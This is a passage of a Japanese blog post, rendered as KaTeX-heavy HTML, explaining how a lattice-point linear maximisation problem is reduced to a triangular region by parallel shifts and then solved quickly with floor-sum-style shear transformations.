aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">1</span></span></span></span> &#x306B;&#x306A;&#x308B;&#x3088;&#x3046;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x8EF8;&#x65B9;&#x5411;&#x306B;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x3057;&#x307E;&#x3059;&#x3002;&#x4E0A;&#x306E;&#x56F3;&#x3067;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x8EF8;&#x6B63;&#x65B9;&#x5411;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span> &#x3060;&#x3051;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x3059;&#x308B;&#x3053;&#x3068;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x306B;&#x3088;&#x308A;&#x3001;&#x8D64;&#x7DDA;&#x306E;&#x65B9;&#x7A0B;&#x5F0F;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">6</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">16</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">109</span></span></span></span> &#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x305F;&#x3060;&#x3057;&#x3001;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x3092;&#x884C;&#x3063;&#x305F;&#x3053;&#x3068;&#x3067;&#x3001;&#x7B54;&#x3048;&#x3068;&#x306A;&#x308B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> &#x306E;&#x6700;&#x5927;&#x5024;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#xD7;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span> &#x3060;&#x3051;&#x5897;&#x52A0;&#x3057;&#x3066;&#x3057;&#x307E;&#x3046;&#x305F;&#x3081;&#x3001;&#x4EE3;&#x308F;&#x308A;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#xD7;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span> &#x3092;&#x52A0;&#x7B97;&#x3057;&#x3066;&#x304A;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<details><summary>&#x4E00;&#x822C;&#x306E;&#x5834;&#x5408;</summary>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x5EA7;&#x6A19;&#x304C;&#x6700;&#x3082;&#x5927;&#x304D;&#x3044;&#x70B9;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mopen">(</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">CN</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> &#x3067;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">CN</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span></span></span></span> &#x3068;&#x3057;&#x3066;&#x3001;&#x76F4;&#x7DDA;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">&#x2212;</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> &#x3060;&#x3051; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x8EF8;&#x6B63;&#x65B9;&#x5411;&#x306B;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x3059;&#x308C;&#x3070;&#x3044;&#x3044;&#x3053;&#x3068;&#x306B;&#x306A;&#x308B;&#x3002;&#x3053;&#x308C;&#x306B;&#x3088;&#x308A;&#x3001;&#x76F4;&#x7DDA;&#x306E;&#x65B9;&#x7A0B;&#x5F0F;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord mathnormal">A</span><span class="mopen">(</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">CN</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> &#x306B;&#x306A;&#x308B;&#x3002;&#x3053;&#x306E;&#x64CD;&#x4F5C;&#x306B;&#x3088;&#x3063;&#x3066;&#x3001;&#x6700;&#x5927;&#x5024;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord mathnormal">A</span></span></span></span> &#x3060;&#x3051;&#x6E1B;&#x5C11;&#x3057;&#x3066;&#x3057;&#x307E;&#x3046;&#x305F;&#x3081;&#x3001;&#x4EE3;&#x308F;&#x308A;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord mathnormal">A</span></span></span></span> &#x3092;&#x52A0;&#x7B97;&#x3059;&#x308B;&#x3002;</p>
</details>
<p>&#x5B9F;&#x969B;&#x306B;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x3092;&#x884C;&#x3046;&#x3068;&#x3001;&#x4EE5;&#x4E0B;&#x306E;&#x753B;&#x50CF;&#x306E;&#x3088;&#x3046;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/----------2026-04-14-164932.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1625" height="699"></figure><!--kg-card-begin: markdown--><p>&#x7DDA;&#x5F62;&#x8A08;&#x753B;&#x6CD5;&#x306E;&#x89E3;&#x6CD5;&#x3068;&#x3057;&#x3066;&#x3001;&#x300C;&#x7AEF;&#x306E;&#x70B9;&#x3092;&#x8A66;&#x3059;&#x300D;&#x3068;&#x3044;&#x3046;&#x624B;&#x6CD5;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x304C;&#x3001;&#x4ECA;&#x56DE;&#x3082;&#x305D;&#x308C;&#x306F;&#x6709;&#x52B9;&#x3067;&#x3059;&#x3002;&#x307E;&#x305A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x5EA7;&#x6A19;&#x304C;&#x8CA0;&#x306E;&#x70B9;&#x3092;&#x8003;&#x3048;&#x308B;&#x5FC5;&#x8981;&#x3092;&#x306A;&#x304F;&#x3059;&#x305F;&#x3081;&#x306B;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x5EA7;&#x6A19;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">1</span></span></span></span> &#x3067;&#x3042;&#x308B;&#x5834;&#x5408;&#x3092;&#x8A66;&#x3057;&#x307E;&#x3059;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x5EA7;&#x6A19;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">1</span></span></span></span> &#x3067;&#x3042;&#x308B;&#x3088;&#x3046;&#x306A;&#x9752;&#x3044;&#x70B9;&#x306F;&#x8907;&#x6570;&#x5B58;&#x5728;&#x3059;&#x308B;&#x53EF;&#x80FD;&#x6027;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x304C;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3088;&#x308A;&#x3001;&#x305D;&#x306E;&#x3088;&#x3046;&#x306A;&#x70B9;&#x306E;&#x3046;&#x3061;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x5EA7;&#x6A19;&#x304C;&#x6700;&#x3082;&#x5927;&#x304D;&#x3044;&#x70B9;&#x306E;&#x307F;&#x3092;&#x8A66;&#x305B;&#x3070;&#x5341;&#x5206;&#x3067;&#x3042;&#x308B;&#x3053;&#x3068;&#x304C;&#x5206;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;&#x3057;&#x305F;&#x304C;&#x3063;&#x3066;&#x3001;&#x8A66;&#x3059;&#x3079;&#x304D;&#x70B9;&#x306F;&#x4E0A;&#x306E;&#x56F3;&#x3067;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">&#x2212;</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">7</span><span class="mclose">)</span></span></span></span> &#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<details><summary>&#x4E00;&#x822C;&#x306E;&#x5834;&#x5408;</summary>
<p>&#x4E00;&#x822C;&#x306E;&#x5834;&#x5408;&#x3067;&#x3082;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x5EA7;&#x6A19;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">1</span></span></span></span> &#x3067;&#x3042;&#x308B;&#x70B9;&#x306E;&#x3046;&#x3061;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x5EA7;&#x6A19;&#x304C;&#x6700;&#x5927;&#x306E;&#x70B9;&#x306E;&#x5EA7;&#x6A19;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">&#x2212;</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> &#x3068;&#x78BA;&#x5B9A;&#x3059;&#x308B;&#x306E;&#x3067;&#x3001;&#x3053;&#x308C;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x306B;&#x4EE3;&#x5165;&#x3057;&#x3066;&#x5F97;&#x3089;&#x308C;&#x308B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">EN</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> &#x306E;&#x6700;&#x5927;&#x5024;&#x5019;&#x88DC;&#x306E;&#x3072;&#x3068;&#x3064;&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
</details><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>&#x4EE5;&#x4E0A;&#x3088;&#x308A;&#x3001;&#x3053;&#x306E;&#x554F;&#x984C;&#x306F;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x306E;&#x7BC4;&#x56F2;&#x3067;&#x8003;&#x3048;&#x3089;&#x308C;&#x308B;&#x3088;&#x3046;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<!--kg-card-end: markdown--><h2 id="%E5%B8%B0%E7%9D%80%E5%BE%8C%E3%81%AE%E5%95%8F%E9%A1%8C%E3%82%92%E9%AB%98%E9%80%9F%E3%81%AB%E8%A7%A3%E3%81%8F">&#x5E30;&#x7740;&#x5F8C;&#x306E;&#x554F;&#x984C;&#x3092;&#x9AD8;&#x901F;&#x306B;&#x89E3;&#x304F;</h2><!--kg-card-begin: markdown--><p>&#x4E0A;&#x8A18;&#x306E;&#x69D8;&#x3005;&#x306A;&#x8B70;&#x8AD6;&#x306B;&#x3088;&#x308A;&#x3001;&#x8003;&#x3048;&#x308B;&#x3079;&#x304D;&#x683C;&#x5B50;&#x70B9;&#x306F;floor sum&#x306E;&#x6642;&#x3068;&#x540C;&#x69D8;&#x306B;&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">({(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mord">&#x2223;0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mclose">})</span></span></span></span>&#x306E;&#x5185;&#x90E8;&#x53CA;&#x3073;&#x305D;&#x306E;&#x5883;&#x754C;&#x4E0A;&#x306B;&#x9650;&#x5B9A;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x305D;&#x3057;&#x3066;&#x3053;&#x306E;&#x554F;&#x984C;&#x3082;&#x3001;floor sum&#x306E;&#x6642;&#x3068;&#x540C;&#x69D8;&#x306B;&#x3001;&#x5883;&#x754C;&#x7DDA;&#x3092;&#x7E70;&#x308A;&#x8FD4;&#x3057;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x9AD8;&#x901F;&#x306B;&#x89E3;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<p>&#x3082;&#x3046;&#x4E00;&#x5EA6;&#x4ECA;&#x304B;&#x3089;&#x89E3;&#x304F;&#x5FC5;&#x8981;&#x306E;&#x3042;&#x308B;&#x554F;&#x984C;&#x3092;&#x66F8;&#x3044;&#x3066;&#x304A;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<blockquote>
<p>&#x5236;&#x7D04;...<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span><br>
&#x70B9; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span> &#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">(&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span><span class="mopen">{</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mclose">}</span></span></span></span> &#x306B;<strong>&#x306E;&#x307F;</strong>&#x5B58;&#x5728;&#x3057;&#x3046;&#x308B;&#x3068;&#x304D;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" 